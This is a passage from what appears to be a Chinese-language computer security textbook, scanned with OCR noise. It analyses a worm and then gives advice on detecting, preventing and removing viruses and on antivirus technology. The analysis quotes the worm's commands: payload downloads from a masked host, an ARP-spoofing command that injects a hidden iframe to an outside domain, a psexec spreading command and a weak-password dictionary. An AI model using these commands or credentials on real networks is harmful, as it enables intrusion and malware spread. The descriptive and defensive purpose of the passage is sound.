安全 卫士 .杀毒 ,注册 表 、 进 程 . 木 马 、 防 御 、 防 火 墙 , 病 毒 、 检 测 、 金 山 、 江 民 、 卡 巴 斯 基 。 

如 果 包 括 上 述 信 息 ,病毒 通过 发 送 一 些 消息 (如 WM_DESTROY、WM_CLOSE) 来 破 
坏 这 些 窗口 ,从 而 干扰 本 地 计算 机 上 的 反 病毒 软件 运行 。 

病毒 通过 接收 WM_TIMER 消息 ,每 过 1 秒 钟 繁殖 一 次 并 重 写本 地 计算 机 的 注册 表 ， 
以 此 来 隐藏 自己 。 病 毒 将 自己 隐藏 为 % system32% 下 的 可 执行 文件 internt. exe 和 
progmon. exe, 并 按照 下 面 的 内 容重 写 注册 表 : 


HKEY_LOCAL_ MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion\ Explorer \ Advanced\ Folder \ 
Hidden\SHOWALL" CheckedValue" = 0X00000000 

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion\ Run" Internt" = % SYSTEM % \ 
INTERNT. EXE 

HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run"Program file" = % SYSTEM % 
\PROGMON. EXE 


病毒 需要 运行 以 下 4 个 工作 线程 。 

工作 线程 1 病毒 从 网 址 http://www. XXXXX. cn/jj/ 下 载 文 件 conn. exe 到 本 地 计算 
机 后 ,将 文件 conn. exe 改名 为 BindF. exe, 然 后 将 改名 后 的 文件 存储 到 目录 %system32%\ 
下 ,然后 运行 该 文件 。 

工作 线程 。 病毒 从 网 址 http://www. XXXXX. cn/jj/ 下 载 文 件 ArpW. exe, nogui. 
exe、wpcap. dll, packet. dll, wanpacket. dll 和 arp. exe 到 %‰system32%\ 目 录 下 。 

病毒 取得 当前 网 段 (如 218. 9. 29. 162) ,用 字符 串 %s2-%s255 替换 掉 最 后 一 个 字段 , 然 
后 以 下 面 方式 启动 Arp 欺骗 病毒 。 

"ArpW. exe — idx 0 — ip 218.9.29.2— 255— port 80— insert 

"< iframe src = ‘http://www. 1988712. cn/jj/ index. htm';width=0 height =0>"" 

病毒 通过 运行 arp. exe, 将 病毒 代码 嵌入 到 局 域 网 的 http 包 中 。 

工作 线程 3 ”病毒 从 网 址 http://www. XXXXX. cn/jj/ 下 载 文件 psexec. exe 和 server. 
exe 到 本 地 计算 机 的 %system32% 目 录 。 在 工作 线程 3 中 ,病毒 每 隔 30 分 钟 时 间 循 环 执行 
以 下 代码 来 传染 网 络 。 

(1) 传染 局 域 网 中 的 计算 机 。 病 毒 得 到 本 机 的 IP 地 址 后 以 该 IP 地 址 为 线索 遍历 本 机 
所 在 的 局 域 网 ,通过 自 带 的 用 户 名 和 密码 敌 尝 试 向 同一 网 段 中 的 其 他 计算 机 的 % 
system32% 目 录 中 写 和 人 文件 psexec. exe 和 server. exe. 而 后 通过 以 下 命令 行 运 行 


PSexec. exe: 
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" % system32 % \psexec. exe\\218.9.29.2 一 u 用 户 名 一 p ' 密 码 '-c % system32 % \servrr. exe-d" 


(2) 传染 指定 IP 地 址 的 计算 机 。 病 毒 下 载 文件 “http://union. itlearner. com/ip/ 
getip. asp”, 同 时 在 其 中 搜索 “input name 二 \"IP\” 来 获取 IP 地 址 ,然后 利用 用 户 名 和 密码 
簿 尝试 将 文件 psexec. exe 和 server. exe 写 人 该 IP 地 址 的 计算 机 ,并 运行 上 述 两 个 可 执行 
SOF 

(3) 传染 当前 连接 的 计算 机 。 病 毒 通过 调用 一 系列 函数 (GetTcpTable、GetUdpTable 
等 ) 得 到 连接 到 当前 计算 机 的 IP 地 址 ,然后 利用 用 户 名 和 密码 德 尝试 将 文件 psexec. exe 和 
server. exe 写 人 该 IP 地 址 的 计算 机 ,并 运行 上 述 两 个 可 执行 文件 。 

用 户 名 和 密码 簿 如 下 。 

O 用 户 名 : administrator, admin, guest, alex, home, love, user, game, movie, time, 
yeah, money, xpuser 

© $1, NULL, password, 123456, qwerty, abc123, memory, 12345678, 88888, 
5201314、1314520 asdfgh, angel, asdf, baby, woaini 

工作 线程 4 病毒 每 隔 1 秒 钟 会 从 目录 http://www. XXXXX. cn/jj/ 尝 试 循环 下 载 文 
fF svchost. exe 到 本 地 计算 机 目录 %system32% 下 ,同时 运行 该 文件 。 

8. 病毒 的 传染 代码 

在 病毒 体 中 包括 了 传染 代码 ,可 是 病毒 自己 并 没有 调用 传染 代码 。 该 传染 代码 中 包含 
API 地 址 硬 编码 等 诸多 问题 ,在 执行 时 会 暴露 出 问题 。 在 传染 代码 中 保护 以 下 操作 。 

(1) 病毒 首先 将 自身 复制 到 本 机 目录 %system32\drivers\ 中 ,然后 将 文件 副本 改名 为 
Svchost. exe。 

(2) 病毒 将 自身 复制 到 以 下 目录 ,名 称 为 随机 文件 名 . exe. 

% system32\drivers\ , % system32\dllcache\、% system32\IME\; C:\Program Files\ 
Common Files \ Microsoft Shared \, C; \ Program Files \ Internet Explorer \ Connection 
Wizard\, C:\Program Files \ Windows Media Player \, C; \ WINDOWS \ addins \, C: \ 


WINDOWS\system\ 
(3) 病毒 遍历 本 机 的 固定 逻辑 硬盘 ,对 硬盘 中 所 有 目录 进行 传染 ,但 排除 保护 以 下 字符 
串 的 目录 : 


Windows Media Player、OutlookExpress、Internet Explorer, NetMeeting, ComPlus 
Applications, Messenger, WINNT, Documents and Settings, System Volume Information, 
Recycled, Windows NT, WindowsUpdate, Microsoft Frontpage, Movie Maker, Windows, 
病毒 只 传染 后 缀 名 为 . exe 的 PE(Portable Execute) 可 执行 文件 ,而 不 传染 其 他 类 型 的 文件 。 
病毒 传播 时 ,在 被 传染 文件 的 代码 节 末 尾 ,内 容 为 0 的 位 置 ( 为 文件 对 齐 补 的 ) 嵌 入 病毒 代 
码 ,同时 将 PE 头 中 入 口 地 址 改 为 指向 病毒 代码 。 在 传播 的 病毒 代码 中 ,病毒 调用 函数 
CreateProcessA( 该 函数 地 址 为 病毒 传播 时 嵌入 的 硬 编码 ) 运 行路 径 *C:\ WINDOWS\ 
system32\drivers\” 下 的 可 执行 文件 mmaou. exe( 病 毒 传播 时 嵌入 ,文件 为 病毒 传播 时 复制 
的 病毒 自身 ) ,然后 通过 记录 的 原 入 口 地 址 跳 转 回 原 程序 正常 人 口 地 址 运行 。 

安全 建议 如 下 。 

(1) 在 计算 机 系统 中 安装 并 运行 正版 反 病 毒 软件 \ 个 人 防火 墙 和 卡 卡 上 网 安全 助手 ,并 
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及 时 升级 软件 。 

(2) 使 用 “瑞星 系统 安全 漏洞 扫描 ”, 及 时 打 好 补丁 ,以 弥补 操作 系统 的 漏洞 。 

G) 不 浏览 非法 网 站 ,拒绝 下 载 安装 可 疑 的 插件 。 

(4) 拒绝 接收 E-mail, QQ, MSN 等 传 来 的 可 疑 文件 。 

(5) 上 网 时 启动 反 病 毒 软件 的 实时 监控 功能 。 

(6) 将 QQ 网 银 、 网 游 等 重要 软件 添加 到 “瑞星 账号 保险 柜 ” 中 ,能 够 有 效 地 保护 用 户 
密码 的 安全 。 


11.3 计算 机 病毒 的 检测 与 防范 


11.3.1 计算 机 病毒 的 检测 


从 前 面 的 介绍 中 ,可 以 发 现 计 算 机 病毒 的 隐蔽 性 非常 强 : 病毒 不 发 作 的 时 候 , 计 算 机 没 
有 任何 的 异常 ; 病毒 一 旦 发 作 , 轻 则 导致 计算 机 速度 减 慢 , 重 则 导致 计算 机 系统 崩溃 。 因 
此 ,在 日 常 的 学 习 和 工作 中 ,计算 机 用 户 有 必要 了 解 计算 机 系统 中 是 否 存 在 病毒 。 普 通 计 算 
机 用 户 可 以 根据 下 面 的 现象 来 辨别 计算 机 系统 中 是 否 存在 病毒 。 

(1) 计算 机 系统 的 启动 速度 明显 变 慢 ,并 且 计算 机 出 现 自动 重启 的 异常 现象 。 

(2) 计算 机 在 工作 的 过 程 中 ,无缘 无 故 出 现 死机 的 异常 现象 。 

(3) 计算 机 系统 桌面 上 的 图 标 显示 异常 。 

(4) 计算 机 系统 桌面 上 出 现 了 异常 的 摘要 、 奇 怪 的 提示 信息 、 异 样 的 字符 等 。 

(5) 计算 机 运行 某 一 正版 的 软件 时 ,系统 经 常 提示 内 存 空间 不 足 。 

(6) 计算 机 硬盘 中 存储 的 文件 遭 到 破坏 ,文件 中 的 数据 被 非法 修改 甚至 丢失 。 

(7) 计算 机 的 音箱 无 缘 无 故地 发 出 奇怪 的 声音 。 

(8) 计算 机 系统 不 能 够 识别 存在 的 固定 硬盘 。 

(9) 当 你 的 朋友 抱怨 你 总 是 给 他 发 送 包含 奇怪 信息 的 邮件 ,或 你 的 电子 邮箱 中 出 现 了 
大 量 的 来 历 不 明 的 电子 邮件 。 

(10) 计算 机 系统 连接 的 打印 机 的 速度 明显 变 慢 或 者 打印 出 一 些 奇 怪 的 字符 。 

(11) 计算 机 系统 中 存储 的 文件 并 没有 被 修改 但 是 文件 长 度 有 所 增加 。 

(12) 计算 机 系统 不 能 够 正常 地 存储 数据 和 文件 。 


11.3.2 计算 机 病毒 的 防范 


普通 的 计算 机 用 户 可 以 从 以 下 几 个 方面 来 有 效 地 防范 计算 机 病毒 。 

1. 在 本 地 的 计算 机 上 安装 正版 的 反 病 毒 软件 

计算 机 用 户 可 以 通过 电话 购买 、 网 上 购买 ,当然 也 可 以 到 软件 经 销 商 那里 购买 。 
2. 利用 安全 监视 软件 监视 浏览 器 的 运行 


常用 的 安全 监视 软件 有 瑞星 卡 卡 和 360 安全 卫士 等 ,这 些 安全 监视 软件 可 以 防止 本 地 
计算 机 的 浏览 器 被 网 络 黑客 恶意 修改 ,嵌入 钩子 ,非法 安装 恶意 插件 。 
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3. 开启 防火 墙 软件 或 反 病毒 软件 附带 的 防火 墙 

防火 墙 开 启 后 ,网 络 外 部 的 黑客 将 无 法 突破 防火 墙 构筑 的 坚固 防线 ,入 侵 本 地 的 计算 
机 。 计 算 机 用 户 可 以 根据 需要 开启 不 同 保护 级 别 的 防火 墙 , 这 里 需要 说 明 的 是 较 高 级 别 的 
防火 墙 保护 会 禁止 一 些 常用 的 服务 ,如 网 络 视频 等 。 

4. 及 时 更 新 病毒 库 

为 了 快速 检测 到 新 型 计算 机 病毒 或 者 病毒 的 变种 ,计算 机 用 户 应 该 定期 更 新 反 病 毒 软 
件 的 病毒 库 。 随 着 计算 机 应 用 领域 的 不 断 拓展 ,目前 存在 的 计算 机 病毒 数量 已 达 几 万 种 。 
而 且 每 月 都 有 几 十 种 新 型 病毒 问世 ,这 些 新 型 病毒 严重 地 影响 到 用 户 计算 机 系统 的 安全 。 

5. 培养 使 用 文件 前 先 检测 病毒 的 好 习惯 

随 着 计算 机 网 络 的 不 断 普 及 , 越 来 越 多 的 用 户 习 惯 从 网 络 上 下 载 文 件 。 许 多 计算 机 用 
户 在 网 络 上 下 载 文 件 后 直接 打开 或 者 安装 使 用 ,这 样 做 的 危险 性 很 大 ,因为 网 络 上 的 资料 鱼 
龙 混 杂 , 用 户 下 载 的 资料 很 可 能 包含 病毒 。 为 了 保证 计算 机 系统 的 安全 ,用 户 下 载 文件 后 一 
定 要 先 检测 病毒 ,然后 再 使 用 此 文件 。 另 外 ,现在 U 盘 的 体积 小 巧 ,使 用 方便 , 深 受 广大 计 
算 机 用 户 的 喜爱 。 计 算 机 用 户 最 好 不 要 使 用 U 盘 的 自动 播放 功能 ,在 打开 U 盘 前 一 定 要 先 
检测 病毒 ,防止 U 盘 上 的 病毒 传播 到 本 地 的 计算 机 。 

6. 谨慎 使 用 盗版 软件 

虽然 软件 企业 打击 盗版 的 力度 不 断 地 加 大 ,但 是 受到 利益 的 驱使 盗版 活动 屡 禁 不 绝 。 
盗版 经 营 者 只 顾 经 济 利益 ,他 们 在 制作 盗版 光盘 时 ,不 会 仔细 地 检测 光盘 中 的 软件 是 否 感染 
了 计算 机 病毒 。 因 此 ,广大 的 计算 机 用 户 应 该 自觉 地 抵制 盗版 软件 ,最 好 使 用 正版 的 软件 
产品 。 

7. 专 盘 专用 

这 项 措施 主要 是 针对 办 公 室 的 用 户 而 言 的 。 对 大 多 数 办 公 室 的 工作 人 员 来 说 ,相互 借 
用 U 盘 是 再 普通 不 过 的 事情 了 。 这 样 做 既 可 以 联络 同事 的 感情 ,又 方便 了 文件 的 传递 。 但 
是 ,这 种 行为 可 能 导致 病毒 以 U 盘 为 媒介 ,在 不 同 的 计算 机 之 间 进 行 传播 。 为 了 防止 病毒 
的 交叉 感染 ,净化 办 公 环 境 , 办 公 室 的 工作 人 员 应 该 做 到 U 盘 的 专 盘 专用 。 

8. 及 时 备份 

计算 机 用 户 在 计算 机 上 安装 了 操作 系统 以 及 相关 应 用 软件 后 ,应 该 及 时 对 系统 进行 备 
份 。 常 用 的 系统 备份 软件 有 GHOST 软件 。 此 外 ,对 计算 机 中 重要 的 数据 文件 要 及 时 备 
份 , 防 止 数 据 破坏 后 造成 灾难 性 的 损失 。 因 此 ,及 时 备份 操作 系统 和 重要 的 数据 文件 对 预防 
计算 机 病毒 的 破坏 有 着 重要 的 意义 。 

9. 关闭 未 使 用 和 不 需要 的 服务 和 进程 

它们 浪费 了 宝贵 的 系统 资源 ,降低 了 整 台 计 算 机 的 工作 效率 ,还 有 可 能 被 狭 独 的 黑客 
利用 。 

10. 及 时 修补 系统 安全 漏洞 

黑客 往往 通过 操作 系统 的 安全 漏洞 来 发 动 网 络 攻击 ,黑客 攻击 的 首要 任务 就 是 发 现 和 
利用 安全 漏洞 。 正 如 世界 上 没有 十 全 十 美的 人 一 样 ,软件 也 不 可 能 做 到 绝对 的 完美 。 换 句 
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话说 ,软件 总 是 有 安全 漏洞 的 。 修 补 操作 系统 安全 漏洞 有 以 下 4 种 途径 。 

(1) 利用 瑞星 漏洞 扫描 程序 修补 。 

(2) 使 用 瑞星 卡 卡 扫描 和 更 新 操作 系统 漏洞 。 

(3) 使 用 操作 系统 自 带 程序 修补 ,更 新 补丁 。 

(4) 利用 Windows 更 新 下 载 器 更 新 补丁 。 

此 外 ,除了 对 操作 系统 的 漏洞 进行 修补 外 ,计算 机 用 户 还 需要 实时 监视 计算 机 系统 的 运 
行情 况 ,以 便 及 早 地 发 现 黑客 人 侵 计算 机 系统 的 非法 活动 。 


11.3.3 计算 机 病毒 的 清除 


1. 利用 杀毒 软件 清除 计算 机 病毒 

国内 常见 的 反 病毒 软件 往往 以 病毒 的 特征 标识 码 为 基础 针对 具体 的 病毒 实施 检测 ,这 
些 软件 不 能 够 准确 地 检测 已 知 病毒 的 变种 和 未 知 的 病毒 。 换 句 话 说 ,国内 常见 的 病毒 检测 
软件 存在 的 缺陷 : 从 未 知 的 病毒 产生 ,到 反 病 毒 企业 接 到 用 户 针对 该 病毒 的 举报 更 新 软件 
版 本 ,中 间 存 在 一 段 时 间 差 ; 在 这 段 不 太 长 的 时 间 里 ,用 户 的 计算 机 极 易 受 到 该 新 型 病毒 的 
危害。 虽然 国内 常见 的 杀毒 软件 能 够 有 效 地 控制 新 型 病毒 的 传播 范围 ,但 是 它们 的 检测 目 
标 往往 是 已 知 的 病毒 ,这 种 被 动 式 的 病毒 检测 技术 使 得 新 型 病毒 的 检测 总 是 落后 于 新 型 病 
毒 的 产生 。 针 对 这 些 反 病毒 软件 的 弊端 , 反 病毒 的 专家 们 研究 出 一 种 灵活 开放 的 病毒 检测 
技术 一 一 启发 式 "病毒 检测 机 制 ,这 种 技术 能 够 通过 模拟 新 型 病毒 的 功能 来 识别 新 出 现 的 
计算 机 病毒 。 启 发 式 病毒 检测 技术 代表 着 未 来 反 病毒 技术 的 发 展 趋势 ,这 种 技术 包含 了 一 
些 人 工 智 能 的 特点 , 即 具备 一 定 的 通用 性 ,不 依赖 于 软件 的 升级 。 在 新 型 病毒 不 断 涌现 的 今 
天 ,这 种 新 技术 的 应 用 对 计算 机 病毒 防御 来 说 具有 重要 的 意义 。 应 用 这 种 新 技术 的 典型 软 
件 产品 有 微 点 主动 防御 软件 (东方 微 点 公司 研发 ) 和 卡巴 斯 基 反 病毒 软件 (卡巴 斯 基 公 司 研 
发 ) 。 

一 般 来 说 ,计算 机 用 户 使 用 杀毒 软件 能 够 清除 本 地 计算 机 上 的 已 知 类 型 的 病毒 。 在 查 
杀 病 毒 的 时 候 , 计 算 机 用 户 有 必要 重新 启动 计算 机 ,在 安全 模式 下 查 杀 本 地 计算 机 上 的 病 
毒 , 这 样 才能 够 取得 较 好 的 清除 效果 。 如 果 普 通 的 反 病 毒 软件 的 杀毒 效果 不 佳 , 计 算 机 用 户 
可 以 上 网 下 载 针对 性 较 强 的 病毒 专 杀 工具 来 清除 特殊 类 型 的 病毒 。 如 果 上 面 的 病毒 清理 方 
式 都 不 能 够 奏效 ,用 户 只 能 通过 格式 化 计算 机 硬盘 重新 安装 操作 系统 来 彻底 清除 本 地 计算 
机 上 的 恶劣 病毒 。 

2. 格式 化 计算 机 硬盘 重新 安装 操作 系统 

这 种 方法 上 面 已 经 提 到 过 , 它 是 最 彻底 的 病毒 清理 方法 。 在 格式 化 前 ,用 户 一 定 要 仔细 
检查 硬盘 中 的 数据 资料 ,备份 重要 的 数据 资料 ,否则 在 格式 化 硬盘 的 过 程 中 ,硬盘 上 的 数据 
资料 会 遭 到 彻底 的 破坏 。 另 外 ,计算 机 用 户 应 该 注意 尽量 对 硬盘 进行 高 级 格式 化 ; 不 要 轻 
易 地 低级 格式 化 硬盘 。 因 为 低级 格式 化 会 缩短 硬盘 的 使 用 寿命 ,属于 一 种 损耗 性 操作 。 

3. 手动 清除 计算 机 病毒 

这 种 方法 技术 性 强 , 要 求 操作 者 熟悉 机 器 指令 和 计算 机 操作 系统 ,一 般 只 能 由 专业 的 软 
件 工 程 师 来 做 。 由 于 这 种 方法 专业 性 很 强 ,在 这 里 就 不 多 介绍 了 ,如 果 读 者 感 兴趣 的 话 , 可 
以 参考 相关 的 技术 类 书籍 。 
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11.3.4 网 络 病毒 的 防范 措施 


网 络 病毒 防范 涉及 的 问题 很 多 ,不 仅 包 括 技术 上 的 更 新 问题 ,而且 还 包括 人 们 强化 防范 
网 络 病毒 意识 的 问题 ,此 外 网 络 病毒 防范 的 制度 建设 也 起 到 关键 的 作用 。 因 此 ,可 以 从 以 下 
几 个 方面 来 加 强 网 络 病毒 的 防范 。 

1. 加 大 宣传 力度 ,强化 公众 的 信息 安全 意识 

所 谓 信息 安全 意识 ,是 指 在 上 网 过 程 中 ,人 们 能 够 明确 信息 安全 的 重要 性 ,能 够 有 意识 
地 发 现 危 害 信息 安全 的 现象 和 行为 ,能 够 自觉 地 维护 网 络 信息 安全 。 强 化 公众 的 信息 安全 
意识 ,就 是 要 让 广大 群众 认识 到 只 有 保证 信息 的 安全 性 网 络 才能 够 正常 地 运转 ,网 络 信息 如 
果 缺 乏 安全 性 ,公民 自身 的 权益 乃至 国家 的 利益 都 无 法 得 到 切实 的 保障 。 为 此 ,一 是 要 通过 
现代 传媒 ,向 广大 群众 宣传 信息 安全 常识 ,提高 公民 的 信息 安全 水 平 ; 二 是 要 积极 开展 信息 
安全 培训 工作 ,培养 合格 的 专门 人 才 ,确保 信息 安全 的 防范 技术 的 先进 性 ; 三 是 要 大 力 开展 
信息 安全 策略 研究 ,明确 安全 责任 ,增强 上 网 人 员 的 责任 意识 。 

2. 运用 多 种 网 络 安全 技术 ,为 公众 信息 设置 安全 保障 

当前 ,广泛 使 用 的 网 络 安全 技术 包括 3 个 方面 : 防火 墙 技术 、 物 理 设施 隔离 以 及 虚拟 专 
用 网 技术 。 防 火 墙 技术 能 够 实现 单位 内 部 网 络 和 单位 外 部 网 络 的 入 侵 隔离 。 应 用 防火 墙 技 
术 ,一 方面 可 以 抵御 来 自 互 联网 的 非法 入 侵 ; 另 一 方面 可 以 禁止 单位 内 部 的 计算 机 用 户 从 
内 部 网 段 发 动 针对 互联 网 服务 器 的 攻击 。 电 子 政务 网 站 与 Internet 之 间 要 设置 防火 墙 。 网 
络 安全 人 员 要 及 时 下 载 最 新 的 补丁 程序 ,做 好 内 部 网 络 维护 工作 ; 同时 加 强 对 单位 内 部 上 
网 用 户 的 监督 ,发 现 信息 安全 问题 及 时 整改 。 政 府 部 门 用 户 使 用 计算 机 网 络 必须 要 实现 内 
外 网 的 物理 设施 隔离 。 要 运用 先进 的 虚拟 专用 网 技术 ,让 人 民 群 众 通 过 互联 网 就 可 以 安全 
地 对 各 级 政府 的 电子 政务 系统 进行 远程 访问 。 与 此 同时 ,要 密切 关注 电子 政务 系统 的 安全 
问题 ,诸如 操作 系统 的 安全 .数据库 系统 的 安全 以 及 网 络 服务 器 的 安全 。 

3. 运用 数据 加 密 技术 ,加 强 网 络 通信 安全 

数字 证 书 为 电子 政务 系统 提供 了 真实 的 ,完整 的 ,机 密 的 和 不 可 否认 的 信息 ,保证 了 系 
统 中 各 种 业务 的 顺利 开展 。 在 业务 系统 中 建立 有 效 的 权限 管理 机 制 、 授 权 监督 机 制 和 严格 
的 责任 追究 机 制 。 当 前 要 加 强身 份 认证 、 数 据 完整 性 .数据 加 密 、 数 字 签 名 等 工作 。 针 对 电 
子 政务 系统 中 的 各 种 敏感 信息 要 进行 加 密 处 理 , 并 且 在 网 络 传输 的 过 程 中 采用 加 密 传输 ,以 
防止 网 络 黑客 窃 密 。 只 有 通过 了 身份 认证 的 网 络 用 户 才能 够 登录 电子 政务 系统 ,此 用 户 在 
电子 政务 系统 中 只 能 完成 符合 自身 权限 的 操作 。“ 在 涉及 多 个 对 等 实体 间 的 交互 认证 时 ,应 
采用 基于 PKI 技术 ,借助 第 三 方 (CA) 颁发 的 数字 证 书签 名 来 确认 彼此 身份 .为 了 保证 我 
国 的 网 络 信息 安全 ,我 国 应 该 使 用 自主 研发 的 安全 产品 ,不 能 够 单纯 依赖 国外 的 先进 技术 。 
政府 应 该 鼓励 民营 资本 进入 数字 安全 技术 领域 ,以 提高 我 国信 息 企业 的 融资 能 力 , 从 而 进 一 
步 提 高 政府 防范 网 络 病 毒 的 水 平 。 

4. 加 强 信 息 安全 技术 管理 ,切实 做 到 安全 使 用 网 络 

一 是 要 控制 好 单位 内 部 网 络 共享 资源 的 共享 范围 ,在 单位 内 部 子 网 中 尽量 不 要 开放 共 
享 目录 。 单 位 中 有 些 用 户 出 于 工作 的 要 求 需要 经 常 交 换 信息 ,他 们 和 希望 开放 某 些 共享 目录 。 
单位 的 网 络 管理 人 员 在 开放 共享 目录 的 同时 应 该 分 配给 这 些 特殊 用 户 相应 的 口令 , 即 上 只 有 
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通过 口令 认证 的 用 户 才能 够 访问 共享 目录 中 的 数据 。 

二 是 对 涉及 秘密 信息 的 服务 器 ,用 户 在 使 用 过 程 中 应 该 禁止 一 些 不 常用 的 网 络 服务 , 同 
时 及 时 备份 数据 库 中 的 数据 。 

三 是 切实 保证 传输 媒体 的 安全 。 传 输 媒 体 的 安全 包括 传输 媒体 中 传播 的 数据 的 安全 性 
以 及 传输 媒体 本 身 的 安全 性 。 考 虑 到 计算 机 系统 通过 电磁 辐射 的 截取 距离 可 达到 几 百 米 乃 
至 上 千 米 ,因此 要 努力 避免 系统 信息 在 空间 上 的 扩散 。 为 了 减少 或 干扰 扩散 出 的 空间 信号 ， 
可 以 对 计算 机 系统 采取 一 定 的 物理 防护 措施 。 

采取 以 上 多 种 措施 ,可 以 为 政府 的 网 络 安全 提供 可 靠 的 保障 。 

5. 健全 网 络 安 全 制度 ,强化 网 络 安全 

常言 道 “ 三 分 技术 ,七 分 管理 "。 先 进 的 网 络 安全 技术 ,结合 完备 的 网 络 安全 管理 制度 
才能 够 为 电子 政务 系统 提供 安全 保障 。 网 络 安全 制度 包括 3 个 层次 的 内 容 : 安全 组 织 建 
设 、 安 全 制度 建设 以 及 人 员 安 全 教育 。 安 全 组 织 建设 的 含义 是 健全 网 络 信息 安全 管理 的 机 
构 。 我 们 应 该 致力 于 建立 覆盖 全 社会 的 网 络 安全 防范 体系 ,公安 机 关 应 该 成 为 这 个 体系 的 
中 心 , 各 个 单位 的 安全 领导 小 组 作为 体系 的 重点 ,计算 机 系统 安全 员 作 为 体系 的 基础 ,整个 
体系 以 保护 计算 机 信息 系统 安全 为 宗旨 。 我 们 要 落实 网 络 信息 安全 责任 制 , 单 位 的 各 个 部 
门 必须 设置 网 络 安全 负责 人 ,专门 保障 本 部 门 计算 机 网 络 的 安全 运行 。 为 了 有 效 地 打击 网 
络 病 毒 犯 罪 , 应 该 加 快 “ 网 上 警察 ”队伍 建设 ,公安 部 门 应 吸纳 一 大 批 政 治 素质 好 业务 能 力 强 
的 信息 安全 人 才 , 充 实 网 上 警察 队伍 ,进一步 提高 公安 部 门 的 快速 反应 能 力 、 侦 察 能 力 与 扎 
踪 水 平 , 以 适应 打击 网 络 病毒 和 网 上 犯罪 的 需要 。 各 个 单位 要 努力 健全 网 络 安全 的 规章 制 
度 , 同 时 定期 地 检查 安全 规章 制度 的 执行 情况 。 各 个 单位 要 及 时 收集 相关 部 门 的 网 络 安全 
记录 ,及 时 发 现 安全 漏洞 并 提出 整改 措施 ,要 定期 向 安全 监督 机 关 报告 本 系统 的 网 络 安全 情 
况 。 各 单位 要 强化 对 计算 机 操作 人 员 的 安全 教育 和 监督 ,加强 密码 .口令 和 授权 的 管理 , 重 
视 数据 库 系 统 的 维护 工作 ,禁止 在 网 上 下 载 非法 软件 等 。 


11.4 软件 防 病 毒 技 术 


11.4.1 计算 机 杀毒 软件 的 运作 机 制 


反 病 毒 专家 们 对 各 种 病毒 检测 方法 进行 加 工 和 整合 ,提出 了 一 系列 的 核心 反 病毒 技术 ， 
如 * 虚 拟 机 脱 壳 引 擎 "“ 启 发 式 杀毒 ”"“ 主 动 防御 以 及 “ 云 查 杀 ? 等 。 各 类 杀毒 软件 产品 也 摆 
脱 了 单纯 的 病毒 特征 扫描 检测 ,发 展 成 为 基于 病毒 家 族 体系 的 命名 规则 ,基于 多 位 循环 校 验 和 
扫描 机 理 ,采用 启发 式 智 能 代码 分 析 模块 \ 动 态 数据 还 原 模块 内存 解 毒 模块 .自身 免疫 模块 等 
多 种 先进 反 病 毒 技 术 并 用 的 复合 软件 产品 。 下 面 分 析 一 下 多 种 反 病毒 技术 之 间 的 协同 问题 。 

从 病毒 检测 的 角度 来 说 ,病毒 特征 库 对 基于 病毒 的 特征 扫描 技术 而 言 是 必 备 的 ,因为 它 
能 够 准确 地 检测 出 已 知 的 病毒 ,但 是 这 种 技术 又 要 求 及 时 更 新 特征 库 。 对 计算 机 系统 来 说 ， 
病毒 实时 监控 技术 也 是 必需 的 ,这 种 技术 能 够 有 效 地 防御 新 型 的 病毒 ,但 是 这 种 技术 的 误 检 
率 较 高 ,白白 地 消耗 了 宝贵 的 系统 资源 ,也 会 对 计算 机 系统 的 工作 产生 不 利 的 影响 。 考 虑 到 
以 上 因素 , 反 病毒 专家 们 大 多 在 现 有 技术 的 基础 上 进行 改进 ,在 杀毒 软件 中 应 用 最 新 的 网 络 
技术 来 进一步 地 提高 检测 率 , 降 低 误 检 率 和 系统 消耗 。 
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自然 界 中 的 病毒 通常 通过 外 部 环境 侵入 人 体内 部 ,病毒 人 侵 计 算 机 的 机 理 和 自然 界 中 
的 病毒 人 侵 人 体 的 机 理 很 相似 。 在 网 络 蓬勃 发 展 的 今天 ,计算 机 遭受 各 种 人 侵 的 根源 也 是 
来 自 外 部 环境 ,这 里 所 提 到 的 外 部 环境 包括 移动 存储 设备 (U 盘 和 移动 硬盘 ) 与 网 络 , 而 且 
计算 机 通过 网 络 感染 病毒 的 情况 居多 。 由 此 可 见 , 防 范 计算 机 病毒 的 基本 宗旨 : 尽量 将 病 
毒 隔绝 在 计算 机 系统 之 外 , 即 在 病毒 人 侵 计算 机 之 前 就 将 其 消灭 掉 , 这 样 用 户 就 不 必 在 病毒 
入 侵 计 算 机 后 在 本 机 全 盘查 杀 病毒 了 。 各 大 反 病 毒 企 业 贯彻 了 这 一 宗旨 ,在 近 几 年 发 布 的 
安全 套装 中 都 集成 了 防火 墙 。 不 过 要 把 病毒 完全 隔绝 在 计算 机 之 外 , 仅 靠 防火 墙 的 防护 是 
不 够 的 ,计算 机 系统 还 要 安装 其 他 的 病毒 检测 引擎 ,这 些 引 擎 会 对 来 自 外 部 的 可 疑 举动 实施 
检测 。 病 毒 检测 引擎 检测 的 主要 方面 有 : 病毒 特征 值 的 核对 、 基 于 行为 检测 的 启发 式 扫描 
和 “ 云 查 杀 ”。 所 谓 “ 云 查 杀 ”, 就 是 利用 大 量 的 客户 机 对 网 络 中 软件 行为 的 异常 情况 进行 监 
测 ,获取 网 络 病毒 的 最 新 信息 并 上 报到 服务 器 进行 自动 分 析 和 处 理 ,再 把 病毒 的 解决 方案 分 
发 到 每 一 台 客 户 机 。 

如 果 用 户 的 计算 机 没有 连接 到 互联 网 ,此 时 本 地 计算 机 的 病毒 防护 就 依赖 于 病毒 特征 
库 了 。 通 常 在 第 一 次 安装 杀毒 软件 时 ,该 杀毒 软件 会 对 计算 机 进行 一 次 全 盘查 杀 , 此 时 病毒 
检测 引擎 会 根据 最 新 的 病毒 特征 库 进行 一 次 彻底 的 检查 ,清理 干净 本 地 的 安全 威胁 ,同时 这 
也 为 以 后 的 每 一 次 全 盘 检 测 打下 了 坚实 的 基础 。 尽 管 新 型 病毒 并 不 是 每 天 都 会 产生 ,但 是 
已 有 病毒 的 变异 速度 很 快 ,为 了 检测 变异 了 的 病毒 ,我 们 不 得 不 建立 起 庞大 的 病毒 特征 库 ， 
每 一 次 都 必须 对 计算 机 进行 全 面 地 检测 ,这 样 就 导致 病毒 的 检测 效率 低下 。 因 此 ,杀毒 软件 
会 引入 一 个 “可 信和 度 ” 的 概念 ,在 首次 全 面 检测 的 时 候 就 会 给 所 有 被 检测 的 对 象 授予 一 个 “可 
